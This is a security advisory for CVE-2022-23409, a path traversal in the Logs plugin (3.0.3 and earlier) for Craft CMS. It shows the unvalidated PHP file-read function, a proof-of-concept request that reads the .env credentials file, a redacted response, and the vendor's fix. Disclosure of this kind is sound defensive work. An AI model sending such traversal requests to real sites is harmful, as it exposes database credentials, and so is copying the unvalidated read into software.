Ethercreative Logs 3.0.3 Path Traversal

2022.01.26
Credit: Steffen Rogge
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

SEC Consult Vulnerability Lab Security Advisory < 20220124-0 > ======================================================================= title: Authenticated Path Traversal product: Ethercreative Logs plugin for Craft CMS vulnerable version: <=3.0.3 fixed version: >=3.0.4 CVE number: CVE-2022-23409 impact: Medium homepage: https://github.com/ethercreative/logs found: 2021-07-06 by: Steffen Rogge (Office Berlin) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "A quick and dirty way to access your logs from inside the CP" As found on the plugin store page: https://plugins.craftcms.com/logs Active Installs 4,093 (as of 2021-07-07) Business recommendation: ------------------------ The vendor provides a patched version v3.0.4 which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) Authenticated Path Traversal (CVE-2022-23409) The plugin "Logs" provides a functionality to read log files of the Craft CMS system inside the backend of the CMS. As the requested logfile is not properly validated, an attacker is able to request arbitrary files from the underlying file system with the permissions of the web service user. Proof of concept: ----------------- 1) Authenticated Path Traversal (CVE-2022-23409) As the plugin is installed as an administrator of the system and the function is only accessible after being logged in as an admin, an attacker needs to be authenticated as an administrator in the backend in order to extract the needed "{MD5}_identity" cookie for the crafted request. The vulnerable endpoint is provided by the plugin under the following path: https://vulnerablesite.com/index.php/admin/actions/logs/logs/stream The vulnerable controller for that endpoint can be found here: https://github.com/ethercreative/logs/blob/master/src/Controller.php The function "actionStream()" provides an endpoint for the Craft CMS and does not validate input values before file content is being read by the function "file_get_contents". public function actionStream () { $logsDir = \Craft::getAlias('@storage/logs'); $logFile = \Craft::$app->request->getParam('log'); $currentLog = \Craft::$app->request->get('log', $logFile); $log = file_get_contents($logsDir . '/' . $currentLog); exit($log); } A crafted GET parameter with the name "log" can be used to access files on the underlying filesystem with rights as the user executing the web server. In most cases this will be the user "www-data". In order to read the file ".env" or ".env.php" which contains the environment configuration and as such also the database credentials, the following request can be used: GET /admin/actions/logs/logs/stream?log=../../.env HTTP/1.1 Host: <host> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0 Connection: close Cookie: 1031b8c41dfff97a311a7ac99863bdc5_identity=<identity_cookie>; The response then discloses the file content of the file ".env": HTTP/1.1 200 OK Date: Thu, 07 Jul 2021 10:08:52 GMT Server: nginx Content-Type: text/html; charset=UTF-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: CraftSessionId=2uisculfj8t9q1tnbiukl6ogjf; path=/; secure; HttpOnly Content-Length: 1600 Connection: close [...] $craftEnvVars = [ 'DB_DRIVER' => 'mysql', 'DB_SERVER' => '********', 'DB_USER' => '********', 'DB_PASSWORD' => '********', 'DB_DATABASE' => '********', 'DB_SCHEMA' => 'public', 'DB_TABLE_PREFIX' => '', 'DB_PORT' => '********', 'SECURITY_KEY' => '********', [...] Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * Version 3.0.3 released on November 25, 2019 Distributed through the Craft Plugin Store https://plugins.craftcms.com/logs Vendor contact timeline: ------------------------ 2021-07-07: Contacting vendor through dev@ethercreative.co.uk 2021-07-08: Response from vendor, no encryption available but vendor accepted to be responsible for any risks involved with plaintext communication 2021-07-08: Advisory was sent to vendor unencrypted 2021-07-09: Vendor released a patch for this vulnerability with version 3.0.4 (https://github.com/ethercreative/logs/commit/eb225cc78b1123a10ce2784790f232d71c2066c4) 2021-07-12: Updated Plugin has been tested on an up-to-date CraftCMS installation (CraftCMS 3.7.0, PHP 8, MySQL 8, Logs Plugin 3.0.4) 2022-01-24: Release of security advisory Solution: --------- The vendor released a patched version 3.0.4 or higher which can be retrieved from their website/github: https://plugins.craftcms.com/logs https://github.com/ethercreative/logs/commit/eb225cc78b1123a10ce2784790f232d71c2066c4 Workaround: ----------- Uninstall/Disable the plugin and access the Craft CMS logs via SSH or other services. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Steffen Rogge / @2022


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